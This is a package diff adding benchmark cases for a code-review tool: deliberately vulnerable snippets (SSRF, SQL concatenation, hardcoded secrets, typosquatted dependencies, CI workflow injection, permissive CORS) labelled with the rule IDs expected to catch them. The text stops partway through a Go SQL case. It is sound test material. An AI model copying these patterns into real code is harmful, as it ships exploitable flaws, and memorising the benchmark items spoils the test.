@kevinrabun/judges-cli 3.127.2 → 3.128.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/commands/benchmark-coverage-gaps.d.ts +11 -0
- package/dist/commands/benchmark-coverage-gaps.js +910 -0
- package/dist/commands/benchmark-multi-file.d.ts +12 -0
- package/dist/commands/benchmark-multi-file.js +427 -0
- package/dist/commands/benchmark.d.ts +11 -0
- package/dist/commands/benchmark.js +11 -1
- package/dist/evaluators/false-positive-review.js +4 -3
- package/package.json +1 -1
|
@@ -0,0 +1,910 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Benchmark cases addressing coverage gaps identified in the April 2026 audit.
|
|
3
|
+
*
|
|
4
|
+
* Adds:
|
|
5
|
+
* - 15 missing real-world attack patterns (vulnerable + clean pairs)
|
|
6
|
+
* - 5 uncovered judge prefix cases (INTENT, MFPR, COH, OVER, FPR)
|
|
7
|
+
* - Expanded Go coverage (10 → 25+)
|
|
8
|
+
* - Expanded thin categories (supply-chain, compatibility, sovereignty)
|
|
9
|
+
*/
|
|
10
|
+
export const BENCHMARK_COVERAGE_GAPS = [
|
|
11
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
12
|
+
// MISSING REAL-WORLD ATTACK PATTERNS
|
|
13
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
14
|
+
// ── GraphQL Depth Attack ──
|
|
15
|
+
{
|
|
16
|
+
id: "graphql-query-depth-attack",
|
|
17
|
+
description: "GraphQL query with no depth limit allows nested resource exhaustion",
|
|
18
|
+
language: "typescript",
|
|
19
|
+
code: `import { ApolloServer } from "@apollo/server";
|
|
20
|
+
import { startStandaloneServer } from "@apollo/server/standalone";
|
|
21
|
+
|
|
22
|
+
const typeDefs = \`
|
|
23
|
+
type User { id: ID!, name: String, friends: [User] }
|
|
24
|
+
type Query { user(id: ID!): User }
|
|
25
|
+
\`;
|
|
26
|
+
|
|
27
|
+
const resolvers = {
|
|
28
|
+
Query: { user: (_, { id }) => db.findUser(id) },
|
|
29
|
+
User: { friends: (user) => db.findFriends(user.id) },
|
|
30
|
+
};
|
|
31
|
+
|
|
32
|
+
const server = new ApolloServer({ typeDefs, resolvers });
|
|
33
|
+
startStandaloneServer(server, { listen: { port: 4000 } });`,
|
|
34
|
+
expectedRuleIds: ["RATE-001", "PERF-001", "SEC-001"],
|
|
35
|
+
acceptablePrefixes: ["SCALE", "REL", "API"],
|
|
36
|
+
category: "rate-limiting",
|
|
37
|
+
difficulty: "medium",
|
|
38
|
+
},
|
|
39
|
+
// ── WebSocket Authentication ──
|
|
40
|
+
{
|
|
41
|
+
id: "websocket-no-auth",
|
|
42
|
+
description: "WebSocket server accepts connections without authentication",
|
|
43
|
+
language: "typescript",
|
|
44
|
+
code: `import { WebSocketServer } from "ws";
|
|
45
|
+
|
|
46
|
+
const wss = new WebSocketServer({ port: 8080 });
|
|
47
|
+
|
|
48
|
+
wss.on("connection", (ws) => {
|
|
49
|
+
ws.on("message", (data) => {
|
|
50
|
+
const msg = JSON.parse(data.toString());
|
|
51
|
+
if (msg.type === "chat") {
|
|
52
|
+
wss.clients.forEach((client) => client.send(JSON.stringify(msg)));
|
|
53
|
+
}
|
|
54
|
+
if (msg.type === "admin") {
|
|
55
|
+
db.query("DELETE FROM messages WHERE id = " + msg.id);
|
|
56
|
+
}
|
|
57
|
+
});
|
|
58
|
+
});`,
|
|
59
|
+
expectedRuleIds: ["AUTH-001", "SEC-001", "CYBER-001"],
|
|
60
|
+
acceptablePrefixes: ["RATE", "ERR"],
|
|
61
|
+
category: "auth",
|
|
62
|
+
difficulty: "medium",
|
|
63
|
+
},
|
|
64
|
+
// ── JWT Key Rotation ──
|
|
65
|
+
{
|
|
66
|
+
id: "jwt-no-key-rotation",
|
|
67
|
+
description: "JWT signing with static secret and no key rotation mechanism",
|
|
68
|
+
language: "typescript",
|
|
69
|
+
code: `import jwt from "jsonwebtoken";
|
|
70
|
+
|
|
71
|
+
const SECRET = "my-super-secret-key-that-never-changes";
|
|
72
|
+
|
|
73
|
+
export function issueToken(userId: string): string {
|
|
74
|
+
return jwt.sign({ sub: userId, role: "user" }, SECRET, { expiresIn: "30d" });
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
export function verifyToken(token: string): any {
|
|
78
|
+
return jwt.verify(token, SECRET);
|
|
79
|
+
}`,
|
|
80
|
+
expectedRuleIds: ["AUTH-001", "CYBER-001"],
|
|
81
|
+
acceptablePrefixes: ["SEC", "DATA", "CFG"],
|
|
82
|
+
category: "auth",
|
|
83
|
+
difficulty: "medium",
|
|
84
|
+
},
|
|
85
|
+
// ── Rate Limit Bypass via Headers ──
|
|
86
|
+
{
|
|
87
|
+
id: "rate-limit-header-bypass",
|
|
88
|
+
description: "Rate limiter trusts X-Forwarded-For header allowing bypass",
|
|
89
|
+
language: "typescript",
|
|
90
|
+
code: `import express from "express";
|
|
91
|
+
import rateLimit from "express-rate-limit";
|
|
92
|
+
|
|
93
|
+
const app = express();
|
|
94
|
+
|
|
95
|
+
app.set("trust proxy", true);
|
|
96
|
+
|
|
97
|
+
const limiter = rateLimit({
|
|
98
|
+
windowMs: 15 * 60 * 1000,
|
|
99
|
+
max: 100,
|
|
100
|
+
keyGenerator: (req) => req.headers["x-forwarded-for"] as string || req.ip,
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
app.use(limiter);
|
|
104
|
+
app.post("/api/login", (req, res) => {
|
|
105
|
+
// attacker can rotate X-Forwarded-For to bypass rate limit
|
|
106
|
+
authenticate(req.body);
|
|
107
|
+
});`,
|
|
108
|
+
expectedRuleIds: ["RATE-001", "SEC-001"],
|
|
109
|
+
acceptablePrefixes: ["AUTH", "CYBER"],
|
|
110
|
+
category: "rate-limiting",
|
|
111
|
+
difficulty: "hard",
|
|
112
|
+
},
|
|
113
|
+
// ── SSRF → Cloud Metadata ──
|
|
114
|
+
{
|
|
115
|
+
id: "ssrf-cloud-metadata",
|
|
116
|
+
description: "SSRF allowing access to cloud metadata endpoint",
|
|
117
|
+
language: "typescript",
|
|
118
|
+
code: `import express from "express";
|
|
119
|
+
import fetch from "node-fetch";
|
|
120
|
+
|
|
121
|
+
const app = express();
|
|
122
|
+
|
|
123
|
+
app.get("/proxy", async (req, res) => {
|
|
124
|
+
const targetUrl = req.query.url as string;
|
|
125
|
+
if (!targetUrl) return res.status(400).json({ error: "url required" });
|
|
126
|
+
|
|
127
|
+
try {
|
|
128
|
+
const response = await fetch(targetUrl);
|
|
129
|
+
const body = await response.text();
|
|
130
|
+
res.send(body);
|
|
131
|
+
} catch (err) {
|
|
132
|
+
res.status(500).json({ error: "fetch failed" });
|
|
133
|
+
}
|
|
134
|
+
});`,
|
|
135
|
+
expectedRuleIds: ["CYBER-001", "SEC-001"],
|
|
136
|
+
acceptablePrefixes: ["AUTH", "DATA"],
|
|
137
|
+
category: "security",
|
|
138
|
+
difficulty: "medium",
|
|
139
|
+
},
|
|
140
|
+
// ── Supply Chain Typosquatting ──
|
|
141
|
+
{
|
|
142
|
+
id: "supply-chain-typosquat-deps",
|
|
143
|
+
description: "Package.json with typosquatted dependency names",
|
|
144
|
+
language: "json",
|
|
145
|
+
code: `{
|
|
146
|
+
"name": "my-app",
|
|
147
|
+
"dependencies": {
|
|
148
|
+
"expresss": "^4.18.0",
|
|
149
|
+
"loadash": "^4.17.0",
|
|
150
|
+
"axois": "^1.6.0",
|
|
151
|
+
"react-router-dmo": "^6.0.0",
|
|
152
|
+
"cors": "^2.8.5"
|
|
153
|
+
}
|
|
154
|
+
}`,
|
|
155
|
+
expectedRuleIds: ["DEPS-001", "HALLU-001"],
|
|
156
|
+
acceptablePrefixes: ["SEC", "CYBER"],
|
|
157
|
+
category: "supply-chain",
|
|
158
|
+
difficulty: "medium",
|
|
159
|
+
},
|
|
160
|
+
// ── Insecure Random Token ──
|
|
161
|
+
{
|
|
162
|
+
id: "insecure-random-session-token",
|
|
163
|
+
description: "Math.random() used to generate session tokens",
|
|
164
|
+
language: "typescript",
|
|
165
|
+
code: `export function generateSessionToken(): string {
|
|
166
|
+
let token = "";
|
|
167
|
+
const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
|
168
|
+
for (let i = 0; i < 32; i++) {
|
|
169
|
+
token += chars.charAt(Math.floor(Math.random() * chars.length));
|
|
170
|
+
}
|
|
171
|
+
return token;
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
export function generateResetToken(): string {
|
|
175
|
+
return Math.random().toString(36).substring(2) + Date.now().toString(36);
|
|
176
|
+
}`,
|
|
177
|
+
expectedRuleIds: ["CYBER-001", "SEC-001", "AUTH-001"],
|
|
178
|
+
category: "security",
|
|
179
|
+
difficulty: "easy",
|
|
180
|
+
},
|
|
181
|
+
// ── Log Injection ──
|
|
182
|
+
{
|
|
183
|
+
id: "log-injection-user-input",
|
|
184
|
+
description: "User input written directly to logs enabling log injection",
|
|
185
|
+
language: "typescript",
|
|
186
|
+
code: `import express from "express";
|
|
187
|
+
import { createLogger } from "winston";
|
|
188
|
+
|
|
189
|
+
const logger = createLogger({ level: "info" });
|
|
190
|
+
const app = express();
|
|
191
|
+
|
|
192
|
+
app.post("/login", (req, res) => {
|
|
193
|
+
const { username, password } = req.body;
|
|
194
|
+
logger.info("Login attempt for user: " + username);
|
|
195
|
+
if (!authenticate(username, password)) {
|
|
196
|
+
logger.warn("Failed login for: " + username + " from IP: " + req.ip);
|
|
197
|
+
return res.status(401).json({ error: "Invalid credentials" });
|
|
198
|
+
}
|
|
199
|
+
logger.info("Successful login: " + username);
|
|
200
|
+
res.json({ token: generateToken(username) });
|
|
201
|
+
});`,
|
|
202
|
+
expectedRuleIds: ["LOGPRIV-001", "SEC-001"],
|
|
203
|
+
acceptablePrefixes: ["CYBER", "AUTH"],
|
|
204
|
+
category: "logging-privacy",
|
|
205
|
+
difficulty: "medium",
|
|
206
|
+
},
|
|
207
|
+
// ── K8s RBAC Wildcard ──
|
|
208
|
+
{
|
|
209
|
+
id: "k8s-rbac-wildcard-permissions",
|
|
210
|
+
description: "Kubernetes ClusterRole with wildcard permissions",
|
|
211
|
+
language: "yaml",
|
|
212
|
+
code: `apiVersion: rbac.authorization.k8s.io/v1
|
|
213
|
+
kind: ClusterRole
|
|
214
|
+
metadata:
|
|
215
|
+
name: app-admin
|
|
216
|
+
rules:
|
|
217
|
+
- apiGroups: ["*"]
|
|
218
|
+
resources: ["*"]
|
|
219
|
+
verbs: ["*"]
|
|
220
|
+
---
|
|
221
|
+
apiVersion: rbac.authorization.k8s.io/v1
|
|
222
|
+
kind: ClusterRoleBinding
|
|
223
|
+
metadata:
|
|
224
|
+
name: app-admin-binding
|
|
225
|
+
subjects:
|
|
226
|
+
- kind: ServiceAccount
|
|
227
|
+
name: app-service
|
|
228
|
+
namespace: default
|
|
229
|
+
roleRef:
|
|
230
|
+
kind: ClusterRole
|
|
231
|
+
name: app-admin
|
|
232
|
+
apiGroup: rbac.authorization.k8s.io`,
|
|
233
|
+
expectedRuleIds: ["IAC-001", "SEC-001"],
|
|
234
|
+
acceptablePrefixes: ["CYBER", "AUTH", "CLOUD"],
|
|
235
|
+
category: "iac-security",
|
|
236
|
+
difficulty: "easy",
|
|
237
|
+
},
|
|
238
|
+
// ── Terraform State Secrets ──
|
|
239
|
+
{
|
|
240
|
+
id: "terraform-state-with-secrets",
|
|
241
|
+
description: "Terraform configuration storing secrets in state file",
|
|
242
|
+
language: "hcl",
|
|
243
|
+
code: `resource "aws_db_instance" "main" {
|
|
244
|
+
engine = "postgres"
|
|
245
|
+
instance_class = "db.t3.micro"
|
|
246
|
+
username = "admin"
|
|
247
|
+
password = "SuperSecret123!"
|
|
248
|
+
|
|
249
|
+
tags = {
|
|
250
|
+
Environment = "production"
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
resource "aws_secretsmanager_secret_version" "db_password" {
|
|
255
|
+
secret_id = aws_secretsmanager_secret.db.id
|
|
256
|
+
secret_string = "SuperSecret123!"
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
output "db_password" {
|
|
260
|
+
value = aws_db_instance.main.password
|
|
261
|
+
sensitive = false
|
|
262
|
+
}`,
|
|
263
|
+
expectedRuleIds: ["IAC-001", "AUTH-001"],
|
|
264
|
+
acceptablePrefixes: ["SEC", "CYBER", "DATA", "CFG"],
|
|
265
|
+
category: "iac-security",
|
|
266
|
+
difficulty: "easy",
|
|
267
|
+
},
|
|
268
|
+
// ── CI Script Injection ──
|
|
269
|
+
{
|
|
270
|
+
id: "ci-script-injection-pr-title",
|
|
271
|
+
description: "GitHub Actions workflow vulnerable to script injection via PR title",
|
|
272
|
+
language: "yaml",
|
|
273
|
+
code: `name: PR Comment
|
|
274
|
+
on:
|
|
275
|
+
pull_request:
|
|
276
|
+
types: [opened, edited]
|
|
277
|
+
|
|
278
|
+
jobs:
|
|
279
|
+
comment:
|
|
280
|
+
runs-on: ubuntu-latest
|
|
281
|
+
steps:
|
|
282
|
+
- name: Comment on PR
|
|
283
|
+
run: |
|
|
284
|
+
echo "Processing PR: $\{{ github.event.pull_request.title }}"
|
|
285
|
+
curl -X POST -H "Authorization: token $\{{ secrets.GITHUB_TOKEN }}" \\
|
|
286
|
+
-d '{"body": "Reviewed: $\{{ github.event.pull_request.title }}"}' \\
|
|
287
|
+
"$\{{ github.api_url }}/repos/$\{{ github.repository }}/issues/$\{{ github.event.number }}/comments"`,
|
|
288
|
+
expectedRuleIds: ["CICD-001", "SEC-001"],
|
|
289
|
+
acceptablePrefixes: ["CYBER", "IAC"],
|
|
290
|
+
category: "ci-cd",
|
|
291
|
+
difficulty: "hard",
|
|
292
|
+
},
|
|
293
|
+
// ── OAuth Missing State ──
|
|
294
|
+
{
|
|
295
|
+
id: "oauth-missing-state-param",
|
|
296
|
+
description: "OAuth flow without state parameter for CSRF protection",
|
|
297
|
+
language: "typescript",
|
|
298
|
+
code: `import express from "express";
|
|
299
|
+
|
|
300
|
+
const app = express();
|
|
301
|
+
const CLIENT_ID = process.env.OAUTH_CLIENT_ID;
|
|
302
|
+
const CLIENT_SECRET = process.env.OAUTH_CLIENT_SECRET;
|
|
303
|
+
|
|
304
|
+
app.get("/auth/login", (req, res) => {
|
|
305
|
+
res.redirect(\`https://provider.com/oauth/authorize?client_id=\${CLIENT_ID}&redirect_uri=http://localhost:3000/auth/callback&response_type=code\`);
|
|
306
|
+
});
|
|
307
|
+
|
|
308
|
+
app.get("/auth/callback", async (req, res) => {
|
|
309
|
+
const { code } = req.query;
|
|
310
|
+
const tokenRes = await fetch("https://provider.com/oauth/token", {
|
|
311
|
+
method: "POST",
|
|
312
|
+
body: JSON.stringify({ code, client_id: CLIENT_ID, client_secret: CLIENT_SECRET }),
|
|
313
|
+
});
|
|
314
|
+
const { access_token } = await tokenRes.json();
|
|
315
|
+
req.session.token = access_token;
|
|
316
|
+
res.redirect("/dashboard");
|
|
317
|
+
});`,
|
|
318
|
+
expectedRuleIds: ["AUTH-001", "CYBER-001"],
|
|
319
|
+
acceptablePrefixes: ["SEC", "FW"],
|
|
320
|
+
category: "auth",
|
|
321
|
+
difficulty: "medium",
|
|
322
|
+
},
|
|
323
|
+
// ── CORS Credentials + Wildcard ──
|
|
324
|
+
{
|
|
325
|
+
id: "cors-credentials-wildcard-origin",
|
|
326
|
+
description: "CORS configured with credentials and reflected origin",
|
|
327
|
+
language: "typescript",
|
|
328
|
+
code: `import express from "express";
|
|
329
|
+
import cors from "cors";
|
|
330
|
+
|
|
331
|
+
const app = express();
|
|
332
|
+
|
|
333
|
+
app.use(cors({
|
|
334
|
+
origin: (origin, callback) => {
|
|
335
|
+
callback(null, origin);
|
|
336
|
+
},
|
|
337
|
+
credentials: true,
|
|
338
|
+
}));
|
|
339
|
+
|
|
340
|
+
app.get("/api/user", (req, res) => {
|
|
341
|
+
res.json({ user: req.session.user, email: req.session.email });
|
|
342
|
+
});`,
|
|
343
|
+
expectedRuleIds: ["SEC-001", "CYBER-001"],
|
|
344
|
+
acceptablePrefixes: ["AUTH", "DATA", "FW"],
|
|
345
|
+
category: "security",
|
|
346
|
+
difficulty: "hard",
|
|
347
|
+
},
|
|
348
|
+
// ── Hardcoded Encryption Key ──
|
|
349
|
+
{
|
|
350
|
+
id: "hardcoded-encryption-key-aes",
|
|
351
|
+
description: "AES encryption key hardcoded in source",
|
|
352
|
+
language: "typescript",
|
|
353
|
+
code: `import crypto from "crypto";
|
|
354
|
+
|
|
355
|
+
const ENCRYPTION_KEY = "a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6";
|
|
356
|
+
const IV_LENGTH = 16;
|
|
357
|
+
|
|
358
|
+
export function encrypt(text: string): string {
|
|
359
|
+
const iv = crypto.randomBytes(IV_LENGTH);
|
|
360
|
+
const cipher = crypto.createCipheriv("aes-256-cbc", Buffer.from(ENCRYPTION_KEY), iv);
|
|
361
|
+
let encrypted = cipher.update(text);
|
|
362
|
+
encrypted = Buffer.concat([encrypted, cipher.final()]);
|
|
363
|
+
return iv.toString("hex") + ":" + encrypted.toString("hex");
|
|
364
|
+
}
|
|
365
|
+
|
|
366
|
+
export function decrypt(text: string): string {
|
|
367
|
+
const parts = text.split(":");
|
|
368
|
+
const iv = Buffer.from(parts[0], "hex");
|
|
369
|
+
const encrypted = Buffer.from(parts[1], "hex");
|
|
370
|
+
const decipher = crypto.createDecipheriv("aes-256-cbc", Buffer.from(ENCRYPTION_KEY), iv);
|
|
371
|
+
let decrypted = decipher.update(encrypted);
|
|
372
|
+
decrypted = Buffer.concat([decrypted, decipher.final()]);
|
|
373
|
+
return decrypted.toString();
|
|
374
|
+
}`,
|
|
375
|
+
expectedRuleIds: ["AUTH-001", "CYBER-001", "DATA-001"],
|
|
376
|
+
acceptablePrefixes: ["SEC", "CFG"],
|
|
377
|
+
category: "security",
|
|
378
|
+
difficulty: "easy",
|
|
379
|
+
},
|
|
380
|
+
// ── DNS Rebinding ──
|
|
381
|
+
{
|
|
382
|
+
id: "dns-rebinding-ssrf-bypass",
|
|
383
|
+
description: "SSRF check vulnerable to DNS rebinding attack",
|
|
384
|
+
language: "typescript",
|
|
385
|
+
code: `import dns from "dns/promises";
|
|
386
|
+
import fetch from "node-fetch";
|
|
387
|
+
|
|
388
|
+
async function isInternalIP(hostname: string): Promise<boolean> {
|
|
389
|
+
const { address } = await dns.lookup(hostname);
|
|
390
|
+
return address.startsWith("10.") || address.startsWith("192.168.") || address === "127.0.0.1";
|
|
391
|
+
}
|
|
392
|
+
|
|
393
|
+
export async function safeFetch(url: string): Promise<string> {
|
|
394
|
+
const parsed = new URL(url);
|
|
395
|
+
|
|
396
|
+
if (await isInternalIP(parsed.hostname)) {
|
|
397
|
+
throw new Error("Internal IPs not allowed");
|
|
398
|
+
}
|
|
399
|
+
|
|
400
|
+
// DNS rebinding: hostname now resolves to a different IP
|
|
401
|
+
const response = await fetch(url);
|
|
402
|
+
return response.text();
|
|
403
|
+
}`,
|
|
404
|
+
expectedRuleIds: ["CYBER-001", "SEC-001"],
|
|
405
|
+
acceptablePrefixes: ["AUTH"],
|
|
406
|
+
category: "security",
|
|
407
|
+
difficulty: "hard",
|
|
408
|
+
},
|
|
409
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
410
|
+
// UNCOVERED JUDGE PREFIX CASES
|
|
411
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
412
|
+
// ── INTENT: Code-comment alignment ──
|
|
413
|
+
{
|
|
414
|
+
id: "intent-misleading-function-name",
|
|
415
|
+
description: "Function name suggests deletion but actually archives",
|
|
416
|
+
language: "typescript",
|
|
417
|
+
code: `export async function deleteUser(userId: string): Promise<void> {
|
|
418
|
+
// "Delete" user — actually just marks as inactive
|
|
419
|
+
await db.users.update({ id: userId }, { active: false, deletedAt: new Date() });
|
|
420
|
+
await cache.invalidate(\`user:\${userId}\`);
|
|
421
|
+
await emailService.send(userId, "Your account has been deleted");
|
|
422
|
+
}
|
|
423
|
+
|
|
424
|
+
export function validateEmail(input: string): boolean {
|
|
425
|
+
// Validates phone number format
|
|
426
|
+
return /^\\+?[1-9]\\d{1,14}$/.test(input);
|
|
427
|
+
}`,
|
|
428
|
+
expectedRuleIds: ["INTENT-001"],
|
|
429
|
+
acceptablePrefixes: ["DOC", "LOGIC", "MAINT"],
|
|
430
|
+
category: "intent-alignment",
|
|
431
|
+
difficulty: "medium",
|
|
432
|
+
},
|
|
433
|
+
// ── OVER: Over-engineering ──
|
|
434
|
+
{
|
|
435
|
+
id: "over-engineering-simple-task",
|
|
436
|
+
description: "Massively over-engineered solution for simple string formatting",
|
|
437
|
+
language: "typescript",
|
|
438
|
+
code: `// Abstract factory for string formatters
|
|
439
|
+
interface IFormatterStrategy { format(input: string): string; }
|
|
440
|
+
interface IFormatterFactory { create(type: string): IFormatterStrategy; }
|
|
441
|
+
|
|
442
|
+
class UpperCaseStrategy implements IFormatterStrategy {
|
|
443
|
+
format(input: string): string { return input.toUpperCase(); }
|
|
444
|
+
}
|
|
445
|
+
class LowerCaseStrategy implements IFormatterStrategy {
|
|
446
|
+
format(input: string): string { return input.toLowerCase(); }
|
|
447
|
+
}
|
|
448
|
+
class TitleCaseStrategy implements IFormatterStrategy {
|
|
449
|
+
format(input: string): string { return input.replace(/\\b\\w/g, c => c.toUpperCase()); }
|
|
450
|
+
}
|
|
451
|
+
|
|
452
|
+
class FormatterFactory implements IFormatterFactory {
|
|
453
|
+
private registry = new Map<string, new () => IFormatterStrategy>();
|
|
454
|
+
constructor() {
|
|
455
|
+
this.registry.set("upper", UpperCaseStrategy);
|
|
456
|
+
this.registry.set("lower", LowerCaseStrategy);
|
|
457
|
+
this.registry.set("title", TitleCaseStrategy);
|
|
458
|
+
}
|
|
459
|
+
create(type: string): IFormatterStrategy {
|
|
460
|
+
const Ctor = this.registry.get(type);
|
|
461
|
+
if (!Ctor) throw new Error("Unknown formatter: " + type);
|
|
462
|
+
return new Ctor();
|
|
463
|
+
}
|
|
464
|
+
}
|
|
465
|
+
|
|
466
|
+
class FormatterService {
|
|
467
|
+
constructor(private factory: IFormatterFactory) {}
|
|
468
|
+
execute(input: string, type: string): string {
|
|
469
|
+
return this.factory.create(type).format(input);
|
|
470
|
+
}
|
|
471
|
+
}
|
|
472
|
+
|
|
473
|
+
// Usage: new FormatterService(new FormatterFactory()).execute("hello", "upper")
|
|
474
|
+
// Could be: "hello".toUpperCase()`,
|
|
475
|
+
expectedRuleIds: ["OVER-001"],
|
|
476
|
+
acceptablePrefixes: ["MAINT", "STRUCT", "SWDEV"],
|
|
477
|
+
category: "over-engineering",
|
|
478
|
+
difficulty: "easy",
|
|
479
|
+
},
|
|
480
|
+
// ── COH: Code coherence ──
|
|
481
|
+
{
|
|
482
|
+
id: "coherence-mixed-patterns",
|
|
483
|
+
description: "File mixing async/await, callbacks, and .then() inconsistently",
|
|
484
|
+
language: "typescript",
|
|
485
|
+
code: `import fs from "fs";
|
|
486
|
+
import { promisify } from "util";
|
|
487
|
+
|
|
488
|
+
const readFile = promisify(fs.readFile);
|
|
489
|
+
|
|
490
|
+
// Callback style
|
|
491
|
+
export function loadConfig(path: string, cb: (err: Error | null, data?: any) => void) {
|
|
492
|
+
fs.readFile(path, "utf8", (err, data) => {
|
|
493
|
+
if (err) return cb(err);
|
|
494
|
+
cb(null, JSON.parse(data));
|
|
495
|
+
});
|
|
496
|
+
}
|
|
497
|
+
|
|
498
|
+
// Promise .then() style
|
|
499
|
+
export function loadUsers() {
|
|
500
|
+
return readFile("users.json", "utf8").then(data => {
|
|
501
|
+
return JSON.parse(data);
|
|
502
|
+
}).then(users => {
|
|
503
|
+
return users.filter((u: any) => u.active);
|
|
504
|
+
});
|
|
505
|
+
}
|
|
506
|
+
|
|
507
|
+
// async/await style
|
|
508
|
+
export async function loadPermissions(): Promise<string[]> {
|
|
509
|
+
const data = await readFile("permissions.json", "utf8");
|
|
510
|
+
const perms = JSON.parse(data);
|
|
511
|
+
return perms.map((p: any) => p.name);
|
|
512
|
+
}
|
|
513
|
+
|
|
514
|
+
// Mixed in one function
|
|
515
|
+
export function processData(path: string) {
|
|
516
|
+
return new Promise((resolve, reject) => {
|
|
517
|
+
fs.readFile(path, "utf8", async (err, data) => {
|
|
518
|
+
if (err) return reject(err);
|
|
519
|
+
const parsed = JSON.parse(data);
|
|
520
|
+
const enriched = await enrichData(parsed);
|
|
521
|
+
resolve(enriched);
|
|
522
|
+
});
|
|
523
|
+
});
|
|
524
|
+
}`,
|
|
525
|
+
expectedRuleIds: ["COH-001"],
|
|
526
|
+
acceptablePrefixes: ["MAINT", "SWDEV", "STRUCT", "ERR"],
|
|
527
|
+
category: "code-structure",
|
|
528
|
+
difficulty: "medium",
|
|
529
|
+
},
|
|
530
|
+
// ── MFPR: AI code provenance ──
|
|
531
|
+
{
|
|
532
|
+
id: "mfpr-ai-generated-markers",
|
|
533
|
+
description: "Code with typical AI-generated patterns and placeholder comments",
|
|
534
|
+
language: "typescript",
|
|
535
|
+
code: `// Generated by AI Assistant
|
|
536
|
+
// TODO: Implement proper error handling
|
|
537
|
+
// TODO: Add input validation
|
|
538
|
+
// TODO: Replace with production database connection
|
|
539
|
+
|
|
540
|
+
import express from "express";
|
|
541
|
+
|
|
542
|
+
const app = express();
|
|
543
|
+
|
|
544
|
+
// Simple CRUD API
|
|
545
|
+
app.get("/api/items", async (req, res) => {
|
|
546
|
+
// Fetch all items from the database
|
|
547
|
+
const items = await db.query("SELECT * FROM items");
|
|
548
|
+
res.json(items);
|
|
549
|
+
});
|
|
550
|
+
|
|
551
|
+
app.post("/api/items", async (req, res) => {
|
|
552
|
+
// Insert new item
|
|
553
|
+
const { name, price } = req.body;
|
|
554
|
+
// Note: Add validation here
|
|
555
|
+
await db.query(\`INSERT INTO items (name, price) VALUES ('\${name}', \${price})\`);
|
|
556
|
+
res.status(201).json({ message: "Created" });
|
|
557
|
+
});
|
|
558
|
+
|
|
559
|
+
// Start server
|
|
560
|
+
app.listen(3000, () => console.log("Server running on port 3000"));
|
|
561
|
+
// End of generated code`,
|
|
562
|
+
expectedRuleIds: ["MFPR-001", "AICS-001"],
|
|
563
|
+
acceptablePrefixes: ["SEC", "CYBER", "AUTH", "ERR", "DOC"],
|
|
564
|
+
category: "ai-code-safety",
|
|
565
|
+
difficulty: "easy",
|
|
566
|
+
},
|
|
567
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
568
|
+
// EXPANDED GO COVERAGE
|
|
569
|
+
// ═══════════════════════════════════════════════════════════════════════════
|
|
570
|
+
{
|
|
571
|
+
id: "go-goroutine-leak-channel",
|
|
572
|
+
description: "Go goroutine leak from unbuffered channel never read",
|
|
573
|
+
language: "go",
|
|
574
|
+
code: `package main
|
|
575
|
+
|
|
576
|
+
import (
|
|
577
|
+
"fmt"
|
|
578
|
+
"net/http"
|
|
579
|
+
)
|
|
580
|
+
|
|
581
|
+
func handler(w http.ResponseWriter, r *http.Request) {
|
|
582
|
+
ch := make(chan string)
|
|
583
|
+
go func() {
|
|
584
|
+
result := fetchFromAPI(r.URL.Query().Get("id"))
|
|
585
|
+
ch <- result // blocks forever if handler returns early
|
|
586
|
+
}()
|
|
587
|
+
|
|
588
|
+
select {
|
|
589
|
+
case res := <-ch:
|
|
590
|
+
fmt.Fprint(w, res)
|
|
591
|
+
case <-r.Context().Done():
|
|
592
|
+
// goroutine still blocked on ch <- result
|
|
593
|
+
http.Error(w, "timeout", http.StatusGatewayTimeout)
|
|
594
|
+
}
|
|
595
|
+
}`,
|
|
596
|
+
expectedRuleIds: ["CONC-001", "REL-001"],
|
|
597
|
+
acceptablePrefixes: ["PERF", "SCALE"],
|
|
598
|
+
category: "concurrency",
|
|
599
|
+
difficulty: "hard",
|
|
600
|
+
},
|
|
601
|
+
{
|
|
602
|
+
id: "go-http-no-timeout",
|
|
603
|
+
description: "Go HTTP server with no read/write timeouts",
|
|
604
|
+
language: "go",
|
|
605
|
+
code: `package main
|
|
606
|
+
|
|
607
|
+
import (
|
|
608
|
+
"fmt"
|
|
609
|
+
"net/http"
|
|
610
|
+
)
|
|
611
|
+
|
|
612
|
+
func main() {
|
|
613
|
+
mux := http.NewServeMux()
|
|
614
|
+
mux.HandleFunc("/api/data", dataHandler)
|
|
615
|
+
|
|
616
|
+
server := &http.Server{
|
|
617
|
+
Addr: ":8080",
|
|
618
|
+
Handler: mux,
|
|
619
|
+
}
|
|
620
|
+
|
|
621
|
+
fmt.Println("Starting server on :8080")
|
|
622
|
+
server.ListenAndServe()
|
|
623
|
+
}
|
|
624
|
+
|
|
625
|
+
func dataHandler(w http.ResponseWriter, r *http.Request) {
|
|
626
|
+
data := fetchExpensiveData()
|
|
627
|
+
fmt.Fprint(w, data)
|
|
628
|
+
}`,
|
|
629
|
+
expectedRuleIds: ["REL-001", "SCALE-001"],
|
|
630
|
+
acceptablePrefixes: ["RATE", "PERF", "SEC"],
|
|
631
|
+
category: "reliability",
|
|
632
|
+
difficulty: "medium",
|
|
633
|
+
},
|
|
634
|
+
{
|
|
635
|
+
id: "go-sql-prepared-missing",
|
|
636
|
+
description: "Go database queries without prepared statements",
|
|
637
|
+
language: "go",
|
|
638
|
+
code: `package main
|
|
639
|
+
|
|
640
|
+
import (
|
|
641
|
+
"database/sql"
|
|
642
|
+
"fmt"
|
|
643
|
+
"net/http"
|
|
644
|
+
_ "github.com/lib/pq"
|
|
645
|
+
)
|
|
646
|
+
|
|
647
|
+
var db *sql.DB
|
|
648
|
+
|
|
649
|
+
func searchHandler(w http.ResponseWriter, r *http.Request) {
|
|
650
